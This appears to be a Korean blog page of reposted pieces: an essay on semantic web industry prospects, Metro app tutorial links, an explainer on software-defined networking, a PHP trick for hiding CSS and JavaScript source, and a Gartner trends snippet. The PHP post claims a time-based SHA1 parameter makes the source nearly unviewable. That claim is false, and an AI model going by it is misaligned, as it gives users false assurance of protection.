시맨틱 웹 기술은 응용, 서비스 기술이 아니다. 많은 산업에 영향을 주는 인프라 기술이며, 눈에 보이지 않는 느리게 움직이는 깊은 바다의 큰 조류인 것이다. 분명히 시맨틱 웹의 한 구성 요소인 온톨로지와 로직은 이미 2300년이나 된 오래된 것이고, AI와 추론 기술도 30~40년이 된 기술임은 틀림 없다. 그럼에도 실제 시맨틱 웹이 표준화 된지는 이제 4년 밖에 안 되었고, 이제서야 산업적 기술적 기반이 확보되어 가는 상황에서 기술과 산업의 성패를 거론한다는 것은 매우 안타깝고 경솔한 판단이 아닐 수 없다. 우리에게는 시맨틱 웹을 포함해 다양한 인프라 산업 기술들의 사업적 기반 확보를 위해, 보다 많은 노력과 인내심이 필요하다. 1989년 TBL에 의해 제창된 웹과 HTML이 시장에서 인정을 받는데 거의 10년이 걸렸고, 사람들에게 분명한 편익을 제공하고, 사업적 가치가 있다는 것을 확인하는데, 13년 이상의 세월이 필요 했다는 것을 기억하자. 아마도 시맨틱 웹의 온전한 구현은 더 오랜 기다림과 인내를 필요로 할 것이다.

매년 가트너 그룹, IDC에서는 주요 기술과 산업에 대해 심도 있는 시장 조사와 분석을 수행하고, 시장 예측 전망을 내놓는다. 지난 4년 동안 시맨틱 웹 기술과 시장은 한 해도 빠짐 없이 중요한 기술과 미래 시장으로 전망되며, 분석/예측되어 왔다. 주목할 만한 사실은 가트너 그룹의 경우 시맨틱 웹 기술이 Hype Cycle의 기술 과장(inflation) 단계를 넘어 이제 상용화 단계로 넘어가고 있다고 진단했다는 것이다. 최근 조사 분석된 자료를 보면, 시맨틱 웹이 활성화 되는데 꽤 오랜 시간이 걸릴 것이라 예측하고 있지만, 그림 3처럼 이미 시작된 시맨틱 웹의 초기 단계는 RDFa와 같은 형태로 HTML 문서에 내장된 Semantic Hypertext가 폭 넓게 쓰일 것이며, 2010년경에는 웹에서 RDFa와 RDF가 매우 일반화되어 사용될 것으로 전망하고 있다. 한국시맨틱정보산업협회의 분석에 의하면 궁극적 시맨틱 웹 비전의 달성은 10년에서 15년이 걸릴 것으로 예측하고 있는데, “3~5년 전망은 늦어져도, 10~20년 전망은 예상보다 빨라 지더라”고 한 누군가의 말처럼, 실제 시맨틱 웹의 산업적 가치는 더 빠르게 실현될 것이다. 2008년 봄, 웹에는 100만개 이상의 RDF와 2만개 이상의 OWL 파일이 유통되고 있다. RDFa의 양은 측정도 되지 못하고 있다.

03.20121226_saltlux_03.png
그림 3. 시맨틱 웹의 진화 (한국시맨틱정보산업협회, 2007)



서비스 플랫폼에서의 시맨틱 웹



멀티사이드 플랫폼 비즈니스와 시맨틱 웹



현재의 웹이 개방 공유된 실질적 시맨틱 웹으로 발전하려면 더 많은 인내와 노력이 필요하겠지만, 특정 분야에서는 빠르게 수용되어 실용화되고 있다. 이미 밝힌 것처럼, 시맨틱 웹의 근본 취지인 상호운용성은 이것이 중요시 될 수 밖에 없는 다양한 멀티사이드 플랫폼(multi-sided platform)에서 인공지능적 요소와 함께 활용되고 있다.



이동통신 서비스 플랫폼과 시맨틱 웹



국내뿐 아니라 대부분의 선진국가에서 이동통신 서비스 시장은 성숙 산업으로 대단한 경쟁 상황에 놓여있다. 최근 일본은 무료 통화 가격 경쟁이 붙었고, 미국에서는 FCC의 700Mhz 경매에 구글이 뛰어 들면서, 더욱 치열한 경쟁 속에서 정부만 큰 돈을 벌게 될 것으로 전망되고 있다. 특히, 구글은 주파수 경매 참여와 함께 안드로이드(Android) 모바일 단말 플랫폼을 무료로 제공하기 시작함으로 모바일 시장에서의 새로운 사업자로 견제를 받고 있다.

이러한 모바일 서비스 시장의 경쟁 가속화는 가입자 포화의 요인 뿐 아니라, 3G환경에서의 망 개방과 자유로워진 지역 로밍, 그리고 skype 등의 인터넷 전화 서비스가 이동통신시장에 진입 하는 등, 매우 다양한 변수가 동시에 작용되고 있다. 2000년대 초 유럽의 WWRF에서 이러한 모바일 시장 환경에 대응하기 위한 토론과 연구가 진행되었고, 시맨틱 기술이 적용된 모바일 서비스 플랫폼을 그 추진 방향으로 제시하게 된다. 모바일 서비스 사업이 결국은 멀티사이드 플랫폼 사업으로 바뀔 수 밖에 없음을 예상하고 있는데, 이는 망을 틀어 쥐고 있는 것이 더 이상 경쟁력의 원천이 될 수 없으며, 개방된 플랫폼으로 서비스 사업자, 콘텐트 사업자, 광고주, 별정사업자, 고객을 적극적으로 참여시킴으로 하나의 생태계(ecosystem)을 구현하고, 그 생태계를 쥐고 있겠다는 계산이 된다. 아마도 구글이 모바일 서비스를 시작한다면, 안드로이드 위에 다양한 서비스 어플리케이션과 콘텐트를 연결하고, 돈은 광고주로부터 벌고, 고객은 무료로 이동통신 서비스를 사용하도록 하는 전형적 멀티사이드 사업을 진행하게 될지도 모르는 일이다.

어째든, 이러한 모바일 플랫폼에서 왜 “시맨틱 웹”이 거론되고 있는 것일까? 답은 간단하게도 상호운용성과 맞춤형 서비스로 정리된다. 생태계를 구성하기 위해 차세대 모바일 플랫폼의 가장 중요한 요구사항은 다양한 데이터, 서비스 리소스의 재활용과 생산성 향상일 것이다. 이동통신 망과 그 서비스 시스템은 매우 복잡하고, 방대하며, 각 서비스 마다 분산된 이질적 데이터를 별도로 운영하고 있다. 서비스 생산성 향상과 구축, 운용 비용을 줄이기 위해서는 이러한 자원들의 상호운용성을 반드시 확보해야 하는데, 이를 위해서는 뭔가의 의미적 통합 체계가 필요하다고 판단되는 것이고, 현재로서는 시맨틱 웹 기술이 가장 좋은 대안 중의 하나로 평가되고 있다. 두 번째 요소인 서비스 개인화는 데이터 서비스 구매를 유도하도록 하여, 통신료 수익을 향상시키겠다는 목적이 깔려있다. 이미 꽤 오랜 기간 동안 이동통신 회사들은 데이터 기반 서비스 인프라 구축에 큰 투자를 해왔는데, 여전히 음성 통화와 SMS가 주된 수입으로, 데이터 서비스 매출 증가는 더딘 편이다. 만약, 사용자 상황(context)과 개인 선호(preference)에 적합한 서비스와 콘텐트를 추천할 수 있게 된다면, 불편한 단말 환경에서의 서비스 발견성(findability)이 향상될 것이고 이는 서비스 구매율의 증가를 의미한다. 시맨틱 웹 기술 기반의 사용자 상황, 선호 정보 표현, 사회망 분석 등은 여러 도전적 과제에도 불구하고 매우 매력적인 요소임이 틀림없다.

모바일 환경에서의 멀티사이드 플랫폼 사업은 이제 막 시작된 단계라고 할 수 있다. WWRF에 이어 WWI주1)가 창설되면, EU FP6와 FP7의 IST(Information Society Technologies) 프로그램 중 차세대 모바일 플랫폼 부분을 이끌고 있으며, 대표적 사업인 MobiLife와 Spice에서 시맨틱 웹 기술이 이미 시범적으로 적용 되었다. 솔트룩스는 EU의 FP6와 FP7을 수행하고 있는 유일한 한국 기업인데, 공동 사업을 수행하는 텔레포니카, 이텔, 도이치텔레콤(티모바일), 폴리쉬텔레콤, 지맨스 뿐 아니라 프랑스텔레콤(오랜지)과 BT, 도코모, 노키아 등 대부분의 통신 관련회사들이 시맨틱 웹 기술을 자사의 플랫폼과 서비스 체계에 적용하는 연구들을 진행하고 있다. 국내에서는 KT와 KTF가 이 분야에 많은 투자를 하고 있다.



유비쿼터스 서비스 플랫폼과 시맨틱 웹



한국에서는 초등학생도 아는 “유비쿼터스”라는 단어가 웬만큼 학식 있는 서양 사람들에게도 상당히 생소한 단어라는 것은 참 재미있는 사실이다. 센서 네트워크나 미들웨어 플랫폼, 다양한 엑추에이터/단말 등 인프라도 깔리지 않은 상황에서 한국은 U-City를 포함해서 대부분의 아파트가 이미 유비쿼터스 아파트가 되어 버린 것 같고, 인프라도 없이 유비쿼터스 서비스 시스템을 구축하도록 요구 받고 있다. 지능형 홈네트워크 사업과 같이 이미 몇몇 유비쿼터스 지향 사업들은 실패한 것으로 여겨지고 있기도 하니, 안타까울 따름이다. 시맨틱 웹과 마찬가지로, 절차를 거치지 않고 압축 과속하는 느낌을 버릴 수 없다.

어째든, 팔로알토 제록스 연구소의 천제적 과학자 마크와이저(Mark Weiser)에 의해 제안된 유비쿼터스 컴퓨팅 개념은, 현재 상황인지(context awareness)와 지능형 서비스라는 큰 틀에서 다양한 분야에 파급, 적용되고 있다. 유비쿼터스 서비스 시나리오들의 대표적 특성을 보면, (1)사용자, 사용자 그룹 혹은 시스템의 상황을 인지해 내고, (2)분산된 이질적 컴퓨팅 개체들이 상호 의사소통, 협력하여, (3) 맞춤형 서비스를 위한 자원을 확보하고, (4)안전하게 서비스를 수행 유지하며, (5)다양한 디바이스와 이동환경에 대응해, (6)사용자 혹은 컴퓨팅 개체와 상호작용하여, (7)이음세 없는 서비스를 수행 한다는 정도로 정리해 볼 수 있다. 이러한 서비스 시나리오의 기술적 과제로는 (1)어떻게 상황정보를 표현할 것인가? (2)각 이질적 컴퓨팅 개체가 타 개체와 어떻게 상황 정보를 주고 받고 통합할 것인가? (3)기계가 어떻게 상황을 “인지”할 수 있는가? (4)기계가 스스로 적합한 서비스를 결정할 수 있는가? 등등이 있는데, 이들 모두 상호운용성과 정보의 의미 처리가 전제되어 있어야 함을 알 수 있다. 특별히 유비쿼터스 형 서비스에서는 시스템의 지능적 행동 부분이 보다 강조되는데, AI적 요소가 더 부각되어야 함을 알 수 있다. 정리해 보면, 상황정보와 지식의 의미 모호성 없는 표현과 공유, 이에 기반한 추론 기능이 요구되고, 이는 시맨틱 웹의 많은 장점과 부합되는 면이 있다.

실제 국내외에서 진행되고 있는 많은 유비쿼터스 프로젝트들이 시맨틱 웹 기술을 상황인지와 추론, 분산 구조 상에서의 상호운용성 확보를 위한 플랫폼의 기반 기술로 활용을 하고 있다. 또한 URI 기반의 시맨틱 웹 표준을 따름으로 개방 구조의 웹 접근성 확보, 도메인 지식 확장의 가능성을 열어두고 있다. U-City와 같이 상당히 큰 규모의 프로젝트에서는 결국 실시간 대용량 상황정보 처리와 실용적 추론이라는 기술적 과제를 가지게 되는데, 하루 10억개 이상의 센서 정보를 트리플로 변환하여 저장, 수십ms 내에 추론을 해 내는 현 기술 수준에 상황정보 필터링 기술 등이 추가로 발전해야 할 것으로 판단된다. 최근에 전국적으로 U-City 프로젝트들이 경쟁적으로 추진되고 있는데, 보여주기 위한, 구호에 멈추는 유비쿼터스가 되지 않기 위해서는 보다 체계적이고 진지한 접근과 장기적 안목의 투자와 관리가 반드시 수반되어야 할 것이다.



의미기반 검색과 시맨틱 웹 서비스 플랫폼



역시 시맨틱 웹의 백미는 의미기반 검색이 될 것임이 분명하다. 이미 구글을 비롯해 많은 인터넷 기업들이 자신의 검색 플랫폼 API를 공개하고 이를 통한 간접 네트워크 효과를 톡톡히 누리고 있다. 이런 상황에서 야후는 3월 중순 시맨틱 웹에 본격 대응하고, 시맨틱 웹 기반 검색 서비스를 추진한다고 발표했다주1). 필자가 알고 있는 정보로는 구글도 내부에서 다양한 시도를 진행하고 있다. 시맨틱 검색에 대한 요구는 전통적으로 재현율에 강점을 보여온 키워드 검색의 품질 만족도를 향상시키자는 목적에서 출발된다. 구글을 포함해 대부분의 검색 포털은 웬만한 키워드에 대해 적게는 수만 개 많게는 수천만 개의 검색 결과를 제공한다. 이러게 많은 검색 결과는 사용자에게 결코 도움이 되지 못하고 있다.

시맨틱 검색이 가야 할 길은 아직 멀지만, 매우 다양한 시도가 이루어 지고 있다. 그 중에서 주목해 볼 만한 대상은 바로 IBM이다. IBM은 UIMA주2) 프레임워크를 공개, 표준화하고 이를 자사의 OmniFinder와 연결함으로 시맨틱 검색 플랫폼을 B2B 및 B2C 시장에 본격 공급하기 시작했다. UIMA는 텍스트와 같은 비 구조적 문서를 분석하여 시맨틱 메타데이터를 생성하고, 이를 검색엔진 등과 연동할 수 있도록 돕는 공개 프레임워크 인데, 기존의 텍스트 마이닝 기술을 시맨틱 웹 및 시맨틱 검색에서 활용할 수 있도록 하고 있다. 오픈 플랫폼으로서 UIMA의 위치는 매우 절묘해 보인다. 수 많은 검색 엔진들이 쉽게 시맨틱 검색으로 발전할 수 있는 틀을 만들어 줄 뿐 아니라, 다양한 비즈니스 이해 관계자들을 불러 모으고 있기 때문이다. 물론 조금 더 지켜 봐야겠지만, 무료로 배포되고 있는 OmniFinder와 UIMA가 어떤 형태던 플랫폼으로의 산업적 가치를 생산해 낼 가능성이 높아 보인다.

실제 웹 세상이 충분한 양의 RDF와 OWL로 채워지기 전에는 텍스트 마이닝에 의한 약한 시맨틱 검색이 중요한 대안이 될 것이다. 특히, 개체명 인식을 통한 키워드의 모호성 해소 라던지, 자동 군집을 통한 정보 접근성, 검색 정확성 향상은 당분간 고객의 검색 만족도 재고에 충분한 역할을 할 것이다. 궁극적으로는 그림 4와 같이 시맨틱 웹과 기존 웹을 대상으로 의미기반 검색뿐 아니라, 적절한 수준의 지식 베이스 기반 정보 추론 서비스가 통합될 것이다.

04.20121226_saltlux_04.png
그림 4. 시맨틱 웹 기반 검색 시스템 (솔트룩스, 2007)

시맨틱 웹에 기반한 또 다른 중요한 응용 플랫폼으로 웹 정보 통합 플랫폼과 시맨틱 웹 서비스 플랫폼, 소셜 네트워크 서비스 플랫폼 등을 들 수 있다. 웹 정보 통합 플랫폼은 웹 페이지, 미니홈피, 블로그 등으로 분리되어 있는 웹 자원들을 의미기반으로 상호운용 하도록 돕는다. 대표적은 사례로 DERI의 SIOC주1) 프로젝트를 들 수 있는데, SIOC은 시맨틱 웹 기반에 다양한 웹 자원과 소셜 네트워크를 의미메타데이터로 연결하고 상호 연결활 수 있는 환경을 제공한다. 시맨틱 웹 서비스 플랫폼으로는 WSML, WSMO 기반의 WSMX주2)를 들 수 있다. WSMX는 시맨틱 웹 기술을 활용해 웹 서비스 개체들을 보다 유연하게 설계 구현하고 통합, 실행할 수 있도록 돕는다.



보이지 않는 엔진, 시맨틱 웹



2007년, SAC(Semantic Annual Conference)에서 STI의 디터펜젤 교수와 일본의 미조구치 교수 등을 초청하여 시맨틱 웹 국제 강연회를 개최한 적이 있다. 워낙 저명한 분들을 모신지라, 기자 회견이 별도로 있었는데, 한 기자 분이 다음과 같은 질문을 했다. “가장 훌륭한 시맨틱 웹 기술이 무엇입니까?” 디터펜젤 교수가 망설임 없이 대답했다. “보이지 않는 시맨틱(invisible semantic)입니다.” 통찰력을 주는 한마디였다. 웹 2.0이 산업적 관점, 사용자 관점, 서비스 관점에서 눈에 보이게 추진되어 왔다면, 시맨틱 웹은 분명히 학문적, 기술적 관점에서 접근 한 경향이 있고, 실제 상용화 되어 산업 깊숙이 파고든다고 하더라도 눈이 쉽게 보여지는 기술은 아니다. 실제 10년이 걸려서 웹 세상이 시맨틱 메타데이터로 충분히 채워진다고 하더라도, 시맨틱 웹 그 자체가 평범한 사용자의 눈에 보여지진 않을 것이다. 수 많은 불로그와 뉴스들의 RSS가 RDF에 기반한다는 것이 눈에 보이지 않았던 것처럼.

시맨틱 웹의 발전이 고객에게 주는 궁극적 편익은 무엇이 될 것인가? 아마도 보다 편하고 정확한 정보 획득과 활용, 온전히 표현되고 연결된 지식들로부터 통찰력을 얻게 되는 것이 너무나도 자연스러운 일상이 되는 것을 미래의 고객들은 경험할 것이다.



한국의 시맨틱 웹 산업, 어떻게 발전해야 하나?



최근 미국의 시맨틱 웹 산업이 발전되는 양상을 보면서 많은 교훈을 얻는다. 기반 기술의 이론적 토대 마련은 학교에서, 막대한 연구 자금은 DARPA와 같은 정부 기관이 다양한 프로젝트를 통해서, IBM을 포함한 대기업들은 끊임 없는 개발 투자와 그 결과의 공개를 통해, Oracle과 몇몇 기업들은 철저한 상용화 정책을 고수하면서, 그렇게 산업을 유기적으로 한 단계 한 단계 발전시켜 가는 것이 피부로 느껴진다. 초기 연구단계에서는 유럽이 주도권을 가졌다면, 현재 상용화 단계는 기업들에 의해 미국을 중심으로 발전하는 모습이 명확하다. 특히, 매년 개최되는 Semantic Technology Conference주1)는 철저하게 산업계 주도로 진행되고, 매년 참여자가 수백 명씩 큰 폭으로 증가하고 있는 것이 부러울 따름이다.

반면에 한국은 국가 주도의 몇몇 R&D 사업이 명맥을 유지하고 있고, 소수의 벤처기업만이 시맨틱 웹의 비전을 외치며 고군분투하고 있는 실정이다. 또다시 생태계 얘기를 하게 되어 안타깝지만, 시맨틱 웹 산업은 인프라 산업이며, 장기적 안목을 가지고 깊은 뿌리를 내리게 해야 할 대상이다. 가치 사슬이 산업 전체에 잘 구성되어 순환이 될 때라야 비로서 뭔가 손에 잡히는 성과와 산업적 가치가 생기게 되기 때문이다. 대충 한 번 시도해 보고, 눈에 보이지 않는다고 포기하게 된다면, 인터넷 강국, IT강국이라 얘기하지만 국민 모두가 인텔의 CPU와 MS 윈도우 위에 IE 브라우저를 띄우고, 아파치 서버에 접속해서 MS-SQL에 저장된 정보를 시스코 라우터를 통해 전달받는, 그리고 우물 안 개구리처럼, 오직 국내 시장에서만 큰 목소리 내는 웹 산업계의 현실이 미래에도 계속 반복될 뿐이다.

어떻게 하면 될까? 눈에 보이는 성과 너머의 큰 비전을 마음 품고 사명감과 인내심을 가지고, 샘이 깊은 우물을 파는, 그리고 마침내는 성공에 이르는 멋진 리더들이 늘어난다면 뭔가 큰 변화가 일어날 수 있지 않을까?



About Saltlux Inc.
솔트룩스는 기업용 검색솔루션 및 정보 마이닝, 시맨틱 웹, 유비쿼터스 컴퓨팅 등 차세대 웹 및 지식 서비스 전문기업입니다. 정보 마이닝 및 시맨틱 기술 부문에서는 국내 1위 기업으로서의 시장을 확보하고 있으며, 미국 및 유럽의 세계적인 기업 및 연구 단체들과 공동연구 및 협력을 통해 세계적인 기술력을 보유하고 있습니다.

주요사업영역 및 핵심기술
● 핵심기술 : 빅데이터 처리, 분석 마이닝 기술, 시맨틱 기술
● 시맨틱 검색 : 초대용량 시맨틱 검색, 고정밀 텍스트 마이닝, 소셜 검색 및 분석
● 데이터 지능화 : 서비스 개인화, 추천, 상황인지, Geo-Semantic, 지능형 모바일 서비스
● 웹 3.0 : 시맨틱 웹, LOD, 온톨로지, 추론엔진, 소셜 미디어 분석(트랜드, 평판)



출처 : 솔트룩스

제공 : DB포탈사이트 DBguide.net

Metro Style App 프로그래밍 강좌 모음

[출처] http://bbunge.tistory.com/186

※ Metro Sytle App 은 Windows 8 에 추가된 새로운 운영 환경인 "Windows Runtime" 에서 동작하는
어플리케이션을 말합니다.





아래의 자료들은 C#을 이용한 Metro Style App 을 개발하는 강좌입니다.


1. TextBlock 으로 문자열 출력하기

http://cafe.naver.com/metroapp/76


2. DataContent 속성에 대하여

http://cafe.naver.com/metroapp/79


3. Button 컨트롤 사용하기

http://cafe.naver.com/metroapp/91


4. TextBox 컨트롤 사용하기

http://cafe.naver.com/metroapp/92


5. StackPanel 컨트롤 사용하기

http://cafe.naver.com/metroapp/97


6. ListBox 컨트롤 사용하기 - 기초

http://cafe.naver.com/metroapp/103


7. ListBox 컨트롤 사용하기 - 활용 <Step1>

http://cafe.naver.com/metroapp/104


8. ListBox 컨트롤 사용하기 - 활용 <Step2>

http://cafe.naver.com/metroapp/105


9. ListBox 컨트롤 사용하기 - 활용 <Step3>

http://cafe.naver.com/metroapp/106


10. 일정한 간격으로 작업을 수행하는 방법에 대하여 - Timer

http://cafe.naver.com/metroapp/107


11. 유사한 작업의 이벤트를 그룹화 하기

http://cafe.naver.com/metroapp/108


12. 페이지 이동하기

http://cafe.naver.com/metroapp/116


13. Toast를 이용한 알림 메시지 표시

http://cafe.naver.com/metroapp/131


14. ListBox 컨트롤 사용하기 - 활용 <Step4>

http://cafe.naver.com/metroapp/150


 

 

기사 주소: http://www.dt.co.kr/contents.html?article_no=2012082402011857731001

[알아봅시다] 소프트웨어 정의 네트워크(SDN)

2012082402011857731001.jpg
네트워크 장비 중앙에서 제어ㆍ관리
신규 서비스 개발시간 획기적 단축
NECㆍ구글 등 자사망에 시범 적용


지난 10여년간 네트워크 기술은 음성, 데이터, 방송 등 모든 사용자 서비스를 인터넷망에서 통합 지원할 수 있는 대용량 고품질 스위칭 및 전달 하드웨어 기술 위주로 발달해 왔습니다. 이러한 네트워크 기술 발달에 힘입어 21세기 정보화 사회가 성공적으로 실현되고 있습니다.

그러나 최근 들어 기기 고성능화에 따른 멀티미디어 데이터 폭증 및 트래픽 동적 변이 심화와 서버 가상화 기술 발달, 클라우드 컴퓨팅 확산, 폭증하는 콘텐츠 수용을 위한 대규모 데이터 센터 등장, IT 기반 다양한 비즈니스 요구 증가 등을 가져 왔습니다.

이를 기반으로 대규모 정보의 고품질 전달을 넘어 트래픽의 동적 변화와 새로운 비즈니스 수요 등에 손쉽게 적응할 수 있는 유연하고 효율적인 스마트 인프라로서 혁신을 요구하고 있습니다. 인프라에 요구되는 이러한 구조적 유연성을 제공할 수 있는 기술로 최근 많은 관심을 모으고 있는 기술이 바로 `소프트웨어 정의 네트워크'라 일컬어지는 SDN(Software Defined Network)입니다.

◇네트워크를 SW적으로 제어=SDN은 마치 컴퓨터 프로그램을 짜듯이 망의 동작을 SW적으로 프로그램화해 중앙에서 제어하는 개념을 의미합니다. 즉, 하드웨어 기반의 데이터 전달기능과 SW제어기능이 밀접하게 결합돼 있는 기존의 스위치/라우터에서 제어 기능을 분리해 중앙 집중화시키고, 개방형 API(오픈플로우, OpenFlow)를 통해 네트워크의 트래픽 전달 동작을 SW기반 컨트롤러에서 제어ㆍ관리하는 것을 뜻합니다.

SDN망은 L2/L3 스위칭 박스로 구성되는 `데이터 전달 계층(Data Plane)'과 전체 망 상태에 대한 글로벌 뷰를 갖고 망의 동작을 제어할 수 있는 `네트워크 OS(컨트롤러)', `컨트롤러 상위에 올라가는 응용' 등의 3계층 구조로 구성돼 있습니다.

이처럼 스위칭 HW와 제어 SW를 분리하고 개방함으로써 네트워크 소유 운영자 및 사용자는 네트워크의 세부 구성정보에 얽매이지 않고 자신의 요구사항에 따라 통신망을 SW 기반으로 손쉽게 제어, 관리할 수 있습니다. 또 비즈니스 요구에 따른 인프라 정책, 트래픽 전달 경로 등 다양한 계층의 네트워킹 서비스를 손쉽게 개발ㆍ지원함으로써 서비스 혁신을 가속화할 수 있습니다.

◇SDN 기술 태생은=SDN 기술은 지난 2007년 미국의 스탠포드대학이 주축이 된 오픈플로우(OpenFlow) 기술 연구에서부터 시작됐습니다. 당초 오픈플로우는 연구자들이 L2/L3 기반 시험망을 손쉽게 구성해 혁신적 인프라 연구를 수행할 수 있는 개방형 네트워크 가상화 환경으로, 지난 6년간 연구망을 위한 다양한 오픈플로우 스위치 및 컨트롤러들이 개발ㆍ활용돼 왔습니다. 지난해에는 오픈 네트워킹 파운데이션(ONF, Open Networking Foundation)이 설립된 이후 산업화로 급속히 전환되는 계기를 맞았습니다.

◇산업체 중심으로 SDN 장비개발=현재 오픈플로우 기반의 개방형 연구망에 대한 다년간의 경험을 쌓은 장비 업체 및 SDN 개념에 기반한 신생 벤처들이 지난해부터 SDN 장비 개발에 적극적으로 나서고 있다. 대표적인 업체로 HP, NEC, 니시라(Nicira), Big Switch Networks 등에서 오픈플로우 스위치 및 컨트롤러 초기 제품을 출시하고 있습니다. 또한 NEC, 구글 등 몇몇 회사들은 SDN을 자사망을 비롯 여러 사이트에 시범적으로 적용해 그 효과를 분석하고 있습니다.

예를 들어 NEC는 SDN 기술을 제네시스 호스팅 솔루션즈를 비롯한 10여개 사이트에 도입해 효과를 시험ㆍ검증하고 있으며, 구글은 DC간 연결을 위해 오픈플로우 기반의 `G-스케일 네트워크(G-Scale Network)'를 지난 2010년부터 단계별로 확대하는 등 서비스 제공자들이 적극적으로 표준화 및 상용기술 개발을 주도하고 있는 상황입니다.

이처럼 SDN 개념을 적용함으로써 ICT 자원 효율성을 2~3배 개선할 수 있으며 새로운 서비스ㆍ사용자 요구의 개발 및 지원 기간의 획기적 단축, 트래픽 패턴 및 응용 수요에 따른 가상 머신 재배치에 따른 자원 활용의 효율성 개선 등의 고무적인 결과를 얻고 있습니다.

◇SDN 표준화 추진상황은=SDN에 대한 표준화는 오픈네트워킹파운데이션(ONF)에서 주도해 시장 지향적인 표준화를 추진하고 있으며, IPv4 위주의 오픈플로우 규격 1.0에 이어, 다중 테이블과 IPv6를 지원하는 1.2 등이 표준화되고 있습니다. 또 다양한 응용 지원을 위한 노스바운드(Northbound) API의 표준화에 대한 초기 논의도 이뤄지고 있습니다.

따라서 우리나라도 경쟁력이 취약한 개별 네트워크 장비 산업에서 탈피해 관련 IT 인프라 산업 생태계 전체를 아우르는 네트워킹 서비스 산업에서 경쟁력을 강화할 수 있는 기회로써 개방형 네트워킹 기술개발에 대한 연구개발 투자 및 산업화를 적극적으로 검토할 필요가 있습니다. 이를 통해 좁게는 콘텐CM 전송 네트워크(CDN), 융합 모바일 액세스 등 인프라 고도화 기술 확보 뿐만 아니라 넓게는 의료, 금융, 국방, 캠퍼스 및 데이터 센터 네트워킹 등 다양한 엔터프라이즈 네트워킹 솔루션 개발 및 네트워킹 엔지니어링 기술의 국내외 시장 진출이 가능할 것으로 보여집니다.

대전=이준기기자 bongchu@

자료=한국전자통신연구원(ETRI)
졸리운곰曰: 이제는 반도체 집적도는 무어의 법칙[ (영어: Moore's law)은 반도체 집적회로의 성능이 18개월마다 2배로 증가한다는 법칙이다.]도 한계에 다가가기 시작하고, 네트워크도 세대별 진화에 진화를 거듭하여 속도를 향상시켜 왔지만, 이젠 네트워크 속도 경쟁보다는 운용에 무게중심이 이동하는 것 같네요.
 소프트웨어 정의 네트워크도 흥미로운 주제이며 기술이지만, 네트워크관리자에게 네트워크 관리의 편리성을 가져오는 것 같습니다.
기술의 발전이 사람들에게 윤택한 삶을 가져오는 믿음을 준 건 사회 구성원 전체에게 혜택을 주었을 때인데, 소프트웨어 네트워크에 대한 시설투자로 개개인에게도 많은 도움이 될 수 있는 방향도 고민해 봐야 할 것 같네요.
 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         

 

 

JavaScript 및 CCS 코드 은닉 (php의 경우)

 

 

 

지금까지 소스 숨기시려고 하신 분들, 보통 javascript로 return false 처리해서 막았습니다.

그러나 편집 -> 소스보기를 보거나 자바스크립트를 꺼버리면 무용지물이 되어버립니다..

따라서, 제가 고안한 방법!

PHP를 이용한 방법입니다.

스타일시트, style.css를 예제로 들어봅시다.

보통 style.css파일은 막지 못합니다. 따라서 이것을 php파일로 바꿔 코드를 숨길 수 있게 하는겁니다.

style.css파일이 다음과 같다고 합시다.

--------------------------------------------------------------------------------------------------
body {
        font-size:11px;
        font-family:Verdana, Arial, Helvetica, sans-serif;
}
form {
        padding:0px;
        margin:0px;
}
td{
    padding:2px;
}
img {
    border:0px none;
}
/* General Links */
a {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#777777;
text-decoration:none;
}

a:active {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#777777;
text-decoration:none;
}

a:visited {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#777777;
text-decoration:none;
}

a:hover {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#DDDDDD;
text-decoration:underline;
}

/* General Horizontal Lines */
hr {height:1px;width:100%;color:#999999;background:#999999;border:0;}
--------------------------------------------------------------------------------------------------

그냥 보통 css파일입니다.. 따라서 아무것도 막지를 못하죠.

그러면 css파일을 style.php로 변경 한 후 다음과같이 해봅시다.


--------------------------------------------------------------------------------------------------
<?
header("Content-type: text/css");
$load_check = $_GET['load_check'];
$_load_check = sha1(date('d m A s i'));

if($load_check == $_load_check){
?>
body {
        font-size:11px;
        font-family:Verdana, Arial, Helvetica, sans-serif;
}
form {
        padding:0px;
        margin:0px;
}
td{
    padding:2px;
}
img {
    border:0px none;
}
/* General Links */
a {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#777777;
text-decoration:none;
}

a:active {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#777777;
text-decoration:none;
}

a:visited {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#777777;
text-decoration:none;
}

a:hover {
font-size:11px;
font-weight:normal;
font-family:Verdana,Tahoma,Arial,sans-serif;
color:#DDDDDD;
text-decoration:underline;
}

/* General Horizontal Lines */
hr {height:1px;width:100%;color:#999999;background:#999999;border:0;}
<?
}
else{
    echo "/* 소스를 보시고 싶으시다면 연락해주세요.... admin@inera.net */";
}
?>
--------------------------------------------------------------------------------------------------

이렇게 변경 한 후 다음과 같이 css파일을 불러옵시다.


--------------------------------------------------------------------------------------------------
<link rel="stylesheet" href="css/style.php?load_check=<?=sha1(date('d m A s i'));?>" type="text/css" />
--------------------------------------------------------------------------------------------------


이렇게 하면 웹서버는 읽어와도 개인이 읽으려면 1초마다 바뀌는 해시값을 알아야 하기 때문에 보기가 힘들어집니다..

또한, 어떻게 암호화되었는지 모르면 거의 불가능하다고 보면 됩니다.

자바스크립트도 이와같이 처리하면 됩니다.

출처: zeroboard.com by Kay (http://flixey.com)

2013년 IT 트렌드

 

 

 

KISTI 미리안글로벌동향브리핑2012-10-29 가트너 그룹은 2013년 한 해 동안 기업조직에서 유념하여야 할 10가지 IT 트렌드에 대하여 2012년 10월 25일 개최된 가트너 심포지엄/IT 엑스포에서 제시하고 있다. 가트너 그룹은 향후 3년에 걸쳐서 기업에 가장 큰 영향을 주게 될 전략적 기술이 무엇일지에 대하여 우선순위를 두고 제시하고 있는데, 대규모 투자가 필요한 부분은 무엇이고, 늦은 투자로 인하여 나타날 수 있는 위험요소는 무엇인지에 대하여 종합적으로 제시하고 있다.

